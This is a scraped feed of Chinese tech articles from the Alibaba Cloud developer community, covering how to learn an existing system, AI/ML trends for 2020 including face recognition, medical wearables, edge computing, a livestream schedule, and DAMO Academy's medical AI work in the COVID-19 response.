    数据架构的设计着重考虑数据需求,关注点是持久化数据的存储方案,不仅包括实体及实体关系数据存储格式,还可能包括数据传递、数据复制、数据同步等策略。

    常见问题:

    • 数据存储在哪?用了什么数据库,如 oracle、mysql。
    • 梳理 E-R 图。
    • 数据量有多少?是否有分库分表?
    • 用了哪些 nosql 库?
    • 有哪些数据同步任务?
    • 大数据框架的使用情况如何?

    系统运维

    系统运维重点关注什么时候会出问题,出了问题怎么解决。

    常见问题:

    • 什么时间容易出问题?比如电商双十一,对系统的压力很大,这时候很容易出问题。
    • 对关键功能是否有监控?需要看系统有配置了哪些报警项,监控了哪些方面。
    • 出了问题怎么解决?日志在哪?是否有全链路跟踪?是否有一些紧急操作,比如开关配置、降级、限流配置。
    • 系统有哪些坑?找开发同学回顾历史问题,以免踩坑。通过同事总结的 case,或者与负责的产品、运营、技术与了解。系统总会有一些坑,需要把这些坑填上。历史代码经过多次迭代总会导致复杂度高(分支、嵌套、循环很多),存在设计漏洞,性能隐患等,很难维护,这些就需要我们去重构了。记住有一句话:填的坑越大,能力越大。
    • 运营、客服反馈的常见问题有哪些?

    实践

    熟悉了系统的业务和技术后,就要实战了,通过实战进一步加深对系统的熟悉程度。实践可以通过做需求、修 bug、重构等方式,亲自动手编码、调试、测试、上线。

    总结

    已有系统通常经历了从 0 到 N 的建设过程,熟悉系统其实是一个逆向推导过程,也是一个学习架构、阅读源码的过程。在学习的过程中最好能带上思考,比如为什么要这么设计,为什么要用这个中间件?是否有更好的编码方式?哪些地方可以优化等,以此达到一个深入熟悉的过程。

    image.png

    ]]>
    令人兴奋的 2020 年人工智能和机器学习趋势-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

    人工智能和机器学习是世界上最繁荣和最革命性的两项技术。 这些技术正在进入世界上几乎所有的领域,并将以有趣的方式影响这些领域。

    有成吨的理由说明人工智能 ( AI ) 和机器学习 ( ML ) 已成为世界上最受欢迎的技术之一。

    这些技术拥有着改变地球运作方式的力量,且毫无疑问在人工智能和机器学习领域中,一些东西正在不断发生。

    在本文中,我们将讨论几个顶级的人工智能和机器学习趋势,将塑造新年:2020。 我们还将介绍面部识别技术及其在2020年的应用。

    人工智能和机器学习将有新的突破

    首先,我们要强调的是:与人工智能相关产业规模将在 2023 年达到 979 亿美元。 这意味着人工智能似乎有很大的潜力。 同时机器学习的领域也发生了很多事情。 而且机器学习解决方案和系统的需求也会相当高。 因为,到目前为止,世界上已经有大量的基于人工智能和机器学习的应用诞生。

    2020年 人工智能和机器学习趋势搜集

    基于人工智能的广告和媒体

    虽然,大部分 AI 和 ML 已经与企业联系在一起。人工智能当前主要应用于 ERP,一种基于 Dynamics 365 AI 解决方案,但是人工智能对创意产业和创意任务的积极影响是毋庸置疑的,并且人工智能在广告和媒体领域似乎也有很大的潜力。AI 和 ML 已经在创意广告和故事的制作中发挥了重要作用。

    此外,许多机构也开始使用人工智能和机器学习来编写脚本。到 2020 年,我们将看到创意机构和媒体公司更多地使用这些技术。事实上,甚至还有一些创意的革新者也会尽力利用这些新技术。

    客户的互动和忠诚度提升管理

    实时营销工作将需要基于AI的解决方案。 因为营销团队将对制定有效的实时策略感兴趣,因此 AI 和 ML 的作用将非常明显。 AI 和 ML 为客户支持,营销团队和销售团队提供了全方位的优势。 许多新工具还具有基于 AI 的功能,旨在提高客户互动和营销活动的质量。

    此外,据信基于 AI 的业务决策可以带来更好的客户获取和保留。 因此,人工智能和机器学习似乎对客户生命周期产生积极影响。 借助由 AI 支持的最新公司解决方案,公司可以更好地了解客户,从而可以进行个性化的活动和计划。 因此,保留的机会自动增加。

    人工智能与模型设计之间的联系

    人工智能已经在风力涡轮机,飞机发动机,无人驾驶汽车以及各种工厂中发挥着重要作用。 这项新技术的整体影响是值得注意的,尤其是在复杂的多域系统中。 新时代的设计师对基于模型的设计工具很感兴趣。

    因此,它们可以帮助设计人员连续地仿真,集成和测试 AI 系统。 同样,借助激励技术,设计人员和工程师能够确定AI 如何影响系统。 因此,毫无疑问,基于模型的设计在社会中具有非常积极的作用。

    对区块链行业的影响

    区块链规模可能很快就会达到 15 亿美元大关。 因为,全球各地的企业都将有兴趣对其进行投资,因此,区块链在2020 年及之后的几年里似乎拥有巨大的发言权。 这项技术已经引起了很大的轰动,并且与此相关联的还有一定的动力。 现在,随着与 AI 和 ML 的融合,该技术有望变得更加强大。

    因此,在 2020 年,您可以期待由AI提供支持的更新的区块链工具和技术,而这种融合的一些优势将包括:交易大大改善,数据质量大大提高以及许多其他事情。

    工作场所的自动化

    在 2020 年,人工智能和机器学习将在办公室中更加活跃。 尽管已经有很多讨论与 AI 和 ML 可能完全改变办公室的事实有关。 但是,2020 年,我们将看到更多使用 AI 和 ML 的方法。

    我们可能还会观察到,AI 和 ML 可能会使工作场所的操作自动化。 不过,这并不意味着将完全取代人力资源。 但是,某些手动工作肯定会自动化。 因此,我们预计 2020 年会有更高的生产率和效率。

    上面列出的是 2020 年 AI 和 ML 的顶级趋势中的一些,除了这些趋势之外,还有一些事情将激发世界。比如更多使用面部识别技术, 它由 AI 和 ML 所驱动,这种超精确的生物特征认证将在 2020 年得到改进。此外,面部识别的利用率将比以前更高。

    该技术更具吸引力和吸引力,并具有许多用例,包括技术,市场,供应商等。

    面部识别是使用人的脸部进行验证或识别的过程。 该技术基于人的面部细节分析,捕获和比较图案。

    智能化面部识别技术是怎么工作的?

    image.png

    面部识别技术遵循三个步骤:

    1. 人脸检测
    2. 人脸特征捕捉
    3. 人脸匹配

    人脸检测是检测和定位图像和视频中人脸的过程的第一步; 人脸特征捕捉是第二步,该过程将基于特征将面部细节转换为一组数字信息; 人脸匹配是验证人脸并与人匹配的最后一个步骤。

    切勿将“身份”与“身份验证”混在一起。 这两个术语是不同的,并且具有不同的含义。 在生物识别技术中,该技术用于借助可识别且有保证的数据来识别和鉴定人。 身份仅是“谁是那个人”,身份验证是“如果他/她真的是那个人的验证”。

    接下来,我们在报告中讨论一下面部识别技术应用中排名前三的三个类别。

    1.安全–执法

    安全市场正在为打击和打击犯罪与恐怖主义提供新的解决方案。 在这个市场上,面部识别系统有益于检测或预防犯罪。以下是安全市场使用该技术的方式:

    签发身份证件时使用该技术,并且大多数时候与其他生物识别技术(例如指纹)结合使用。
    在边境检查时会进行面部比对,以了解护照的数字化生物识别特征是否与护照持有人的面部相匹配。
    面部匹配也可用于对驾驶执照和证件图片数据库进行搜索。
    无人机安装了航拍摄像机,可在发生大规模事件的大区域提供面部识别。

    2.健康

    如今,通过深度学习和面部分析,医疗保健行业可以在多个方面使用面部识别和生物识别技术。医疗保健组织能够:

    • 更精确地跟踪患者之间的用药情况
    • 检出遗传病的成功率为 96.6%
    • 支持疼痛管理流程
    • 营销与零售

    可能我们很想知道为什么营销和零售需要面部识别技术?

    虽然我们知道营销和零售行业曾经使用过这种技术,并且没有显著提升,那么现在又应该如何应用?

    在 2020 年, KYC(了解您的客户)肯定会成为有争议的话题。这一即将到来的趋势已与客户体验中的高级营销策略一起使用。

    将相机放置在零售店后,商店所有者和经理可以分析购物者的行为并改善购买过程,以提供最佳的购物体验。

    2020 年东京奥运会(日本)将使用面部识别技术

    2020 年东京奥运会,官方将采用面部识别技术识别和授权运动员及个人,并允许他们通行。悉尼正在机场进行人脸识别试验,以帮助人们以更安全,更快捷的方式通过安检。

    在印度,Aadhaar 的项目是全球最大的生物识别数据库。 Aadhaar 卡为印度居民提供了独特的数字 ID 号码,超过 12 亿。 根据消息来源,印度可能会在 2020 年发布新的最大的人脸识别系统。

    如果面部识别出错了怎么办?

    image.png

    目前已经有许多实例说明如何轻松欺骗该技术。让我们讨论一些例子:

    在俄罗斯,格里高里·巴库诺夫(Grigory Bakunov)创建了一种解决方案来混淆人脸检测设备。 他开发了一种算法,其中涉及使用特殊构成来欺骗软件。 但是,他决定不将这种产品推向市场,因为犯罪分子很容易以此来愚弄面部识别解决方案。

    • 2017 年底,一家越南公司使用口罩对安装在 Apple iPhone X 中的 Face ID 人脸识别功能进行了黑客入侵。但是这种黑客入侵对于黑客来说更难以大规模利用。
    • 换句话说,用户甚至可以在发送图像之前借助过滤器来修改图像中的特定像素。 这些变化是微小的,人眼无法触及,同时,它们也使人脸识别解决方案感到困惑。

    人工智能和机器学习是最强大和最具影响力的两项技术。 这些技术具有进入不同领域并产生影响的潜力。 我们无法声称可以预测未来几年将出现的所有关键主题。 但是这些技术正在慢慢进入不同的市场和领域。 市场专业人员已经在多次实验中使用了 AI 和 ML 技术,并且你正在手机中使用此技术来进行解锁。 因此,毫无疑问,我们将在未来几年中见证很多事实。

    image.png

    原文链接:https://ai.51cto.com/art/202003/613551.htm
    文章转自51CTO,本文一切观点和《机器智能技术》圈子无关

    ]]>
    互联可穿戴设备在医疗保健中的作用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 5.16.19-The-Role-of-Connected-Wearable-Devices-in-Healthcare_副本.jpg

    随着技术的进步日新月异,医疗保健应用越来越多地访问患者的信息,以深入了解他们的行为并改善护理。从Fitbit到食品和药物管理局(USFDA或FDA)批准的医疗设备,可穿戴技术的使用迅速增加,可穿戴设备的使用正在颠覆医疗行业。根据Markets and Markets的报告,可穿戴技术市场预计在未来三年内将达到516亿美元。

    由于物联网(IoT)的进步,近年来,许多可穿戴设备已从健康领域转向实时患者监护。我们目睹了传感器价格的下降、开源库、嵌入式工程框架和应用程序接口(API)的更多可用性,从而实现了经济高效且快速的软件产品开发。那么,什么是医疗可穿戴设备呢? 它被定义为一种无创且自主的设备,可以在更长的时间内执行特定的医疗功能(无论是支持还是监视)。

    对医疗保健可穿戴设备的需求

    这些可穿戴医疗保健设备的最大好处是,它们可以为个人提供所需的数据,以更好地控制其健康状况。这些设备的需求量很大,因为它们可以更好地了解我们的健康状况,从而使我们能够做出明智的决定。我们可以监控不同的健康和健身因素,以跟踪实现我们的健康目标的进度。

    需要严密监视健康状况的人们可以使用可穿戴设备每天跟踪主要健康指标。在可穿戴设备的帮助下,患者可以与医疗保健提供者共享其数据,以便医生对他们的状况有更详细的了解。

    可穿戴辅助和诊断设备的一些示例包括Cloud DX的Vitaliti,Cyrcadia Health开发的iTBra,Google的智能眼镜,Chrono疗法的Smart Stop等。 现在,让我们看看医生如何使用这些医疗可穿戴设备。

    医生如何使用设备:

    Proteus数字健康解决方案

    长期治疗严重精神疾病的患者,药物依从性一直是一个问题,因为一旦病情好转,他们就会停止服药。因此,为解决此问题,Proteus Digital Health开发了一个监视系统。它是这样工作的:患者吞咽的药丸装有传感器。

    因此,在摄入后,药片传感器会向可穿戴的贴片发送一条信息。然后,这些信息从可穿戴的贴片传输到智能手机的移动应用程序。这意味着患者可以使护理人员能够访问移动应用程序,而医生可以通过基于Web的门户进行访问。

    Zephyr Anywhere的BioPatch

    来自ZephyrAnywhere的BioPatch是一种可穿戴设备,通过将其连接到患者的胸部,每分钟都可以跟踪患者的健康状况。如果病人的健康状况下降,将通过设备向护士和医生的智能手机发送信息。因此,这允许对患者进行24小时监控,并允许他们在病情稳定后离开医院。

    Zebra Technologies的患者身份管理

    准确识别患者对提供医疗保健至关重要。在美国,每年将近20万人死于医疗错误,其中58%的死亡是由与识别有关的错误造成的。因此,为了解决此问题,英国的Heartlands医院已获得Zebra Technologies的帮助,以使用可穿戴设备改善患者身份管理。

    Zebra Technologies提出的解决方案的特征是带有射频识别(RFID)标签的印刷腕带,其中包含医疗记录和数字图像以及具有图像处理功能的软件。该系统要求医生在术前检查中使用PDA扫描患者的腕带。这将杜绝错误识别,并提供有关患者健康的最新信息。 该解决方案的实施帮助医院将身份错误降至零。

    可穿戴设备的好处

    可穿戴设备收集了大量相关数据,可帮助医疗保健从业人员确定医疗状况之间的关联并有效地处理它们。例如,通过检查可穿戴健身追踪器收集的数据,心血管保健已经受益匪浅。

    这些设备使医生能够跟踪患者的每日卡路里摄入量和体力活动。可穿戴计算机提供对存储在医疗数据库或在线的患者数据的即时访问。这使得医疗机构能够远程协作并简化医疗培训。例如,心脏外科医生已经成功地使用谷歌AR(增强现实)眼镜导航CT扫描进行冠状动脉重建。

    未来

    医疗可穿戴设备市场没有止步不前,并且在未来几年将继续发展。物联网医疗可穿戴设备将使消费者能够继续访问云,以将数据传输回适当的人,使医疗提供商能够获取他们所需的信息,并通过保护患者数据来确保法规遵从性。因此,可穿戴设备将使消费者对未来的健康状况有更好的了解。

    小结

    医疗保健行业迅速采用了这些连接的医疗设备,以降低运营成本并提高效率。得益于可穿戴设备提供的数据和见解,它们为医生和患者带来了更多动力。可穿戴技术将继续在医疗保健行业掀起波澜。


    原文链接 ]]>
    为什么我们需要边缘计算?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 当时间敏感事件发生时,边缘计算胜过云处理。
    08.16.18-Why-do-we-need-edge-computing-1068x656_副本.jpg

    在过去的15到20年间,已经从本地软件向云计算发生了巨大转变。现在,我们可以从任何地方访问所需的一切,而不受固定位置服务器的限制。但是,云计算运动即将向分散计算的另一方向倾斜。那么为什么我们需要边缘计算呢?

    考虑到云网络带来的巨大机遇,这一概念似乎有悖常理。但为了让我们充分利用物联网(IoT)所提供的一切优势,技术必须再次成为本地技术。

    看一下农业历史可以得出一些相似之处。一个世纪或更早以前,人们食用当地种植的食物。如果它不在您居住的地方的50-100英里内生长或繁殖,那么您可能将没有机会食用它。

    然后,技术出现并打开了新的大门。运输变得更快了,制冷意味着食物可以在不损坏的情况下运输,并且新的耕作技术允许大量生产。随着这些发展,消费者可以从世界各地获得食物。

    我们仍在利用容易获得的全球食品的优势,但是由于多种原因,人们已经转向了本地食物。长途运输食品会影响环境。消费者希望为当地经济做出贡献。我们中的许多人都希望我们食用的食物中的人造成分更少。

    那么这对云计算意味着什么呢? 就像全球获得食物一样,云计算并没有完全消失。但是,定期进行处理的地方将从云端转移到现在所谓的“边缘”。

    什么是边缘计算

    如果我们回想对云的了解,就可以将其与本地计算进行比较。本地计算意味着在公司大型机或服务器上集中存储和管理数据。可以说,云计算可转换为一系列“远程”服务器上的数据存储和处理。

    因此,如果云计算发生在远程服务器上,则边缘计算的发生位置更接近其记录的动作。边缘计算包括收集数据的传感器(例如RFID标签),现场数据中心以及将它们全部连接起来以支持本地计算的网络。数据处理发生在远离云的源头或“边缘”。边缘计算网络在必要时仍可以连接到云,但是它们不需要云也可以正常运行。

    您可能需要一个Nest Thermostat来控制您家里的气候,一个FitBit来衡量您的个人健康状况,甚至可能是Alexa或Google Home作为个人助手。但是对于这些设备,没有任何紧急事件需要解决。您可以等待对Alexa的请求由云处理。

    当时间敏感事件发生时,边缘计算胜过云处理。为了使无人驾驶汽车成为现实,这些汽车需要实时对外部因素做出反应。如果自动驾驶汽车在道路上行驶,并且有行人从汽车前走出来,则汽车必须立即停车。它没有时间将信号发送到云端然后等待响应,它必须能够立即处理信号。

    边缘计算的好处是什么

    显然,速度是使用边缘计算的重要因素,并且有很多解决速度的用例。工厂可以使用边缘计算通过检测人体来大幅度减少工作中受伤的发生率。TSA检查站可以收集通过不同闸门而来的化学物质数据,这些数据可以组合起来制造炸弹。在出现问题之前,城市可以使用边缘计算来解决道路和交叉路口的维护问题。

    另一大好处是流程优化。如果自动驾驶汽车、工厂和TSA检查站使用云而不是edge,它们将把收集到的所有数据推送到云上。但是,如果edge做出本地决策,云可能不会立即需要所有这些数据,甚至根本不需要。

    借助边缘计算,数据中心可以执行对时间敏感的规则(例如“停车”),然后在带宽需求不那么高时将数据分批流式传输到云中。然后,云可以花时间从边缘分析数据,并发送建议的规则更改,例如“当汽车在50英尺内感觉到人类活动时,缓慢减速”。

    除了速度和优化之外,减少停机也是使用边缘计算的主要原因。通过将所有内容推送到云端,您可以使企业不受ISP故障和云服务器停机的影响。今天,许多关键任务操作(如铁路和化工厂)甚至都不会使用云。拥有自己的服务器是保证正常运行的唯一方法。

    边缘计算依赖于单个传感器与本地数据中心之间的连接,从而大大减少了停机的机会。

    边缘计算的下一步是什么

    即使具有提高速度、优化和减少停机等好处,采用边缘计算仍将需要一些关键的工作。毕竟,看看云的采用到底花了多长时间!但是随着时间的流逝,企业将学习边缘计算如何在减少常见风险因素的同时加快运营速度。

    原文链接

    ]]>
    【0406 - 0410 直播导视 | PPT 下载】CIO学院揭晓盒马新零售的秘密,物联网之AIoT智慧、边缘计算的未来-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 *本预告时间仅供参考,最终直播时间以直播间信息为准。
    *本文提供直播PPT下载,请在对应直播介绍处查看。

    本周直播重磅推荐:

    4月06日:

    【Elasticsearch入门公开课 】23 | 课程总结

    直播时间:04-06 19:30
    直播亮点:
    Elasticsearch 是一款非常强大的开源搜索及分析引擎,在 Search Engine 分类中长期位列第一。而Elasticsearch 除了搜索以外,结合生态 Kibana、Logstash和Beats,Elasticsearch还被广泛运用在大数据近实时分析场景中,包括日志分析、运维监控、信息安全等多个领域。
    分享嘉宾
    阮一鸣,eBay Pronto 平台技术负责人。
    Elasticsearch核心技术系列回顾1-5
    01|课程介绍Elasticsearch核心技术与实战
    02|内容综述及学习建议
    03|Elasticsearch简介及其发展历史
    04|Elastic Stack家族成员及其应用场景
    05|Elasticsearch的安装与简单配置

    *PPT下载待更新

    4月07日:

    物联网实战:树莓派4温湿度监测、解读AIoT智慧产业园区、边缘计算未来展望

    直播时间:04-07 14:00
    直播亮点:
    数字新基建按下快进键,机遇来了,智联网也登上热门话题。本期邀请阿里内外物联网专家,分享树莓派4实战,演示湿温度检测。用边缘计算打开周边设备快速互联的大门。在线物联网实验平台LinkLab究竟有何魅力应用于在线教育?通过真实落地案例带您了解AIoT技术在产业园区带来哪些新场景、新价值。超强动手能力的物联网开发者,快速解锁新技能新场景。

    Service Mesh 的实践及落地风险控制

    直播时间:04-07 19:00
    直播亮点:
    介绍阿里巴巴对 Serivce Mesh 的理解,分享在技术选型方面和发展方面的思考,以及分享如何降低落地的技术风险。
    分享嘉宾
    至简,阿里云云原生应用平台团队高级技术专家

    【阿里CIO学院“技术攻疫大咖说第十五期】罗汉堂秘书长讲述:疫情下的全球经济

    直播时间:04-07 19:00
    直播亮点:
    此次分享围绕疫情、经济、全球三个关键词,从宏观经济的角度,探
    讨疫情的持续性、蔓延势头以及对全球经济、金融格局和供应链等影
    响。
    分享嘉宾
    陈龙教授|罗汉堂秘书长、湖畔大学执行教育长

    CIO 学院往期视频回看:

    *PPT下载待更新

    4月08日:

    阿里云新品发布会第88期:分析型数据库AnalyticDB for MySQL基础版重磅发布

    直播时间:04-08 15:00
    直播亮点:
    阿里云对象存储同城冗余存储正式商业化,基于快照提供ECS数据保护全面升级。面对云上数据安全防护场景,阿里云提供云原生数据备份容灾能力。一键式解决企业上云面临的严峻数据挑战,保障企业数据安全,助力企业成功上云。

    *PPT下载待更新

    4月09日:

    RocketMQ Go 客户端实践

    直播时间:04-02 19:00
    直播亮点:
    设计与实现,基础用法与高级用法
    分享嘉宾
    王文锋,开源爱好者,Apache

    *PPT下载待更新

    【阿里CIO学院“技术攻疫大咖说第十六期】透视盒马:新零售操作系统的秘密

    直播时间:04-09 19:00
    直播亮点:
    企业面对数字化转型,线上线下一体化的背景下,做为CIO和产研团队,我们所要面对的主要挑战是什么?如何重新定位自身的角色?我们会有什么机会呢?大少做为新零售领军企业盒马的产研负责人,他是如何思考的,又有什么最佳实践呢。
    通过阿里巴巴研究员大少的直播你将会了解到:
    1、数字化下企业IT团队的角色变化及挑战
    2、智能硬件设备对企业信息化的帮助
    3、新零售数字化下产品最佳实践
    分享嘉宾
    何崚(大少)|阿里巴巴研究员、盒马产品技术负责人

    CIO 学院往期视频回看:

    *PPT下载待更新

    4月10日

    中小企业如何实现在家研发软件

    直播时间:04-02 19:30
    直播亮点:
    通过阿里云云效产品,演示多人多角色如何在线研发软件,包括持续集成、持续交付等过程
    分享嘉宾
    焦霸,阿里巴巴研发协同平台持续交付负责人

    *PPT下载待更新
    ]]>
    达摩院悬壶,看医疗 AI 如何济世-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

    5.png

    阿里达摩院,并不专为抗疫而生。

    甚至连马云都可能预料不到,这个机构这么快就展现出及时的作用。

    抗疫正当时,不论是与浙江疾控中心合作的基因检测平台,将疑似病例基因分析时间缩至半小时,还是率先在郑州“小汤山”应用的 CT 影像系统,达摩院、扫地僧,都成为阿里 AI 抗疫的代表性标签。

    而且影响力还在几何级扩散,据阿里统计,截止到 3 月 31 日,达摩院 CT 影像 AI 已在浙江、河南、湖北、上海、广东、江苏、安徽等 16 个省市近 170 家医院落地,已诊断 34 万临床病例。

    随着疫情全球扩散,这个出自阿里达摩院、代表中国 AI 技术前沿的抗疫系统,也在进一步承担起“One world,One Fight”的作用。

    但也别神话了达摩院和背后的扫地僧——外界只看见了他们的动能速度,而不知道他们之前为此积累的势能和高度。

    这把抗疫宝剑,之前已磨砺整整 4 年。

    “扫地僧”带队,达摩院如何 4 年磨一剑?

    6.png

    阿里巴巴集团副总裁、达摩院高级研究员华先胜

    达摩院医疗 AI,源自 2016 年,由时任阿里巴巴 iDST 副院长的华先胜带队打造。

    对于华先胜,外界不陌生。

    他出自黄冈中学,2001 年北大数学系博士毕业,之前在微软工作 14 年,直到被老领导“阿里云之父”王坚挖角,开启阿里在 AI 视觉研发和落地方面的探索。

    但即便已是 2016 年,人工智能如何在医疗领域发挥作用并不太清晰,只是华先胜坚信:人工智能进入医疗健康领域,是一个必然的事情。

    他回忆说:“医疗健康领域存在的不平衡问题比较多(医患供需不平衡,医保供需不平衡,医患知识不平衡等),AI 应该能为全民健康的问题发挥重要作用。”

    7.png

    正是这样的预判,才逐渐演变出了抗疫期间的达摩院医疗 AI。

    当时也是医疗 AI 的爆发点,大量创业者与资本玩家涌入。目前发展势头不错的推想、体素等,都在 2016 年创立。

    一直深耕视觉领域的依图,也在同年发布肺癌影像智能诊断系统,开辟了医疗业务线。

    作为视觉智能领域深耕多年的专家,华先胜团队从肺部 CT 影像开始切入医疗 AI,很快就做出成绩。

    2017 年 7 月,达摩院正式成立前夕,他们交出了一份“贺礼”——在国际权威的肺结节检测大赛 LUNA16 上打破世界纪录,凭借 89.7% 的平均召回率(在样本数据中成功发现结节占比的比例)夺冠。

    8.png

    华先胜说,这项工作“当时只道是寻常”,没想到直接为阿里达摩院新冠肺炎的 CT 自动诊断系统打下了基础。

    那次破纪录之后,达摩院医疗 AI 的研究范围进一步扩大,在肝结节、心血管、骨科、病理等方面均取得了进展。

    其中代表性的成果有:

    2018 年 12 月,达摩院 AI 从近百支队伍中脱颖而出,在全球 LiTS(Liver Tumor Segmentation Challenge,肝脏肿瘤病灶区 CT 图像分割挑战)获得两项第一。

    2019 年的 EMNLP BB task 关系抽取世界大赛,达摩院 AI 获得了第一名。同年,按照鹿特丹(Rotterdam)国际比赛标准,达摩院 AI 的全自动心脏冠脉中心线提取超越了现有的业界最好成绩,相关论文被国际顶级医学影像会议 MICCAI 2019 提前接收。

    技术持续突破下, 达摩院医疗 AI 团队在 Nature 子刊、CVPR 等顶尖学术期刊与会议上,发表了不少的论文,加上国际、国内专利,超过了百篇,也给达摩院医疗 AI 系统在临床诊断和医学研究上大规模应用,提供了支撑。

    如果这样回顾,自然又是一个“大牛带队”、“顺风顺水”的传奇往事。

    但华先胜说,各种辛苦,做过才知。医疗 AI,不是一个单兵作战就能搞定的领域。

    达摩院医疗 AI 一路走过来,这些技术突破、业务落地背后,坑踩得一个都不少。

    医疗 AI,只有技术可不够

    大道理其实也简单:想要打造好的 AI 系统,高质量的数据集是关键。

    然而对于医疗 AI 来说,这从来不是一个简单的事情。

    医疗影像数据质量参差不齐,标准化程度低、人工标注难度大、数据敏感度高等行业性难题,导致 AI 在医学上的学习和应用面临诸多挑战,从而难倒了诸多英雄好汉,甚至还是一些巨头公司的短板。

    比如此前名震江湖的 IBM 沃森医疗系统,宣称超过人类医生的存在,在 2018 年被美国健康医疗媒体 STAT 曝光,其 AI 系统训练数据量最高的肺癌只有 635 例,而最低的卵巢癌只有 106 例,引起哗然一片。

    而且数据难题之外,还有更现实的挑战:医疗机构不买账。

    9.png

    据 2018 年 9 月中国信息通信研究院、Gartner 联合发布的《2018 世界人工智能产业蓝皮书》,在中国,医疗健康领域的 AI 企业在所有 AI 企业中占比达到了 22%,在所有垂直行业中占比最高。

    但在医疗 AI 行业火热的同时,客户并不怎么感兴趣。

    《财经》杂志在 2019 年 3 月份的报道中就指出,资本捧场,使产品同质化严重,送进医院、无人使用的 AI 医疗产品不在少数。AI 逐渐演变为医疗领域的嵌入品,锦上添花的功效有,雪中送炭的本事无。

    作为行业中的一份子,达摩院医疗 AI,绕不开,无法回避,唯有迎难而上解决问题。

    扫地僧如何破局?

    华先胜说,如今回顾,大道至简:“以技术平台为轴心,联合产业伙伴打天下”。

    对于阿里来说,这不是一个陌生的模式,不论是淘宝、支付宝,还是现在的阿里云、平头哥,本质上都是以技术建立平台,拥抱行业玩家,来推动产业发展。

    医疗AI领域,阿里的优势还更甚,它旗下还有一个在香港上市的公司阿里健康,已经在医药电商及新零售、互联网医疗、消费医疗、智慧医疗等领域深耕多年。

    在阿里健康以及众多医疗行业合作伙伴,比如万里云、卫宁健康、古珀科技等的支持下,达摩院医疗 AI 在高质量数据集上不断训练优化,通过阿里云推进技术在医疗行业落地的速度,在行业中都处于前列。

    所以才有了当前抗疫中的达摩院医疗 AI。

    危急关头,如何一步步见真章?

    速度,速度,还是速度。

    华先胜说,疫情大面积爆发之初,达摩院医疗 AI 团队就放弃假期行动起来。

    连点成线,覆盖疫情咨询、药物研发、病毒基因分析、临床诊断等多个环节。

    2020 年 1 月 27 日,达摩院连夜研发的智能疫情机器人。上线后便在全国各地投入使用,很快落地全国 27 个省、直辖市、自治区,免费为 57 座城市拨打 1600 万通防控摸排电话,摸排超过 20 万身体异常人群。

    2 天后,阿里云宣布向全球公共科研机构免费开放一切 AI 算力,以加速本次新型肺炎新药和疫苗研发。

    钟南山团队、全球健康药物研发中心 GHDDI、北京大学、晶泰科技等机构,都成为受益者。

    紧接着 2 月 1 日,达摩院医疗 AI 算法,正式应用于新冠肺炎的病原学检测。

    达摩院与浙江省疾控中心合作,利用算法将疑似病例基因分析时间缩至半小时,该技术可以避免核酸检测出现的漏检情况,同时可以及时检测到变异病毒。

    华先胜解释:“它每天都在工作,准确率近乎 100%,正进一步推广到更多地方使用。”

    而且 ,达摩院也在进一步优化算法,将时间缩短到了 10 分钟,进一步提高效率,并在疫区压力最大的武汉金银潭医院上线。

    2 月 15 日,达摩院医疗 AI 团队与合作伙伴一起,基于 5000 CT 影像样本数据,快速研发出了 CT 影像算法,在郑州小汤山上线,可以在 20 秒内对新冠疑似患者 CT 影像做出判读,并量化病症的轻重程度,分析结果准确率达到 96%。

    10.png

    至今这套 AI 系统已在浙江、河南、湖北、上海、广东、江苏、安徽等 16 个省市的 170 家医院落地,诊断超过 34 万临床病例。

    这还不够,为了全方位抗疫。达摩院医疗 AI 团队还提供了医疗专业翻译系统、疫情预测等系统,来为更大范围、更高层次的抗疫,提供信息支撑。

    同时,疫情全球化蔓延的情况下,达摩院医疗 AI 随着阿里云一同出海。

    很快,日本知名医疗科技机构 JBC 正式上线阿里云新冠肺炎 AI 诊断技术,开始向日本医院提供服务,帮助医生通过 CT 影像快速进行新冠肺炎筛查。

    11.png

    并且更多的欧洲国家也在跟进。在华先胜的透露中,先后有 30 多个国家和地区,希望达摩院通过阿里云提供医疗 AI 支持。

    当然,达摩院并非这次全球科技抗疫中的全部。

    疫情之下,全球医疗 AI 的多数玩家,都参与到了抗疫之中。比如国内的依图、推想等公司都推出了相应产品,以自身之长提供解决方案。

    国外如谷歌,在美国疫情爆发之时,同样投入了 1700 名程序员,联合专攻“医疗科技”的兄弟公司 Verily,打造新冠病毒检测网站。

    “扫地僧”华先胜对此怎么看?

    他很开心,认为这次疫情对于整个行业来说,是一次大练兵。

    “很多竞争对手都成了并肩作战的伙伴。(抗疫)也让我们与合作伙伴的协同变得更加深入。“

    而且更重要的是,经此一疫,医疗 AI 的社会定位、落地推广和作用发挥,也得到意想不到的市场教育和检验。

    扫地僧要做一个怎样的医疗 AI?

    答案很简单:近期帮助人类医生的 AI,远期帮助大众对健康有更强的把控能力的 AI。

    众所周知,抗疫过程中,医生人手缺少的局面一直存在。

    2 月 5 日,国家卫健委公布的诊疗方案第五版中,正式将 CT 影像临床诊断结果作为新冠肺炎病例判断的标准之一。

    虽然这直接加快了新冠肺炎疑似病例的确诊速度与准确度,但对于前线医生来说,却是不小的负担。

    一位新冠肺炎病人的 CT 影像大概在 300 张左右,每诊断一个病例,影像医生需要投入大约为 5-15 分钟时间。一名医生每天连续不间断工作 12 个小时,只能诊断大概 72 个病例。

    2 月 4 日晚,全国一共有疑似病例 23260 例,追踪到(新冠肺炎患者)密切接触者 252154 人……提升临床诊断效率,成为抗疫期间核心需求之一。

    12.png

    而达摩院等医疗 AI 机构,就在这样的险峻形势中出手,联合伙伴打造的新冠病毒 CT 影响诊断系统,从上传数据到得到结果,诊断一个病例平均仅需 20 秒,计算时间最快仅 2 秒。

    虽然仍旧需要医生进一步配合才能够得到更准确诊断结果,但对效率的提升, 无疑是巨大的。这也是医疗 AI 能够在抗疫期间得到推广的原因之一。

    因此,华先胜认为,这也会成为医疗系统的常态:AI 助攻,人类医生提效。

    据新华网 2018 年 12 月份报道,中国医学影像数据的年增长率约为 30%,而放射科医师数量的年增长率约为 4.1%,而且需求缺口不断加大。

    对于医疗 AI 行业来说, 这是其进一步发展的机会。

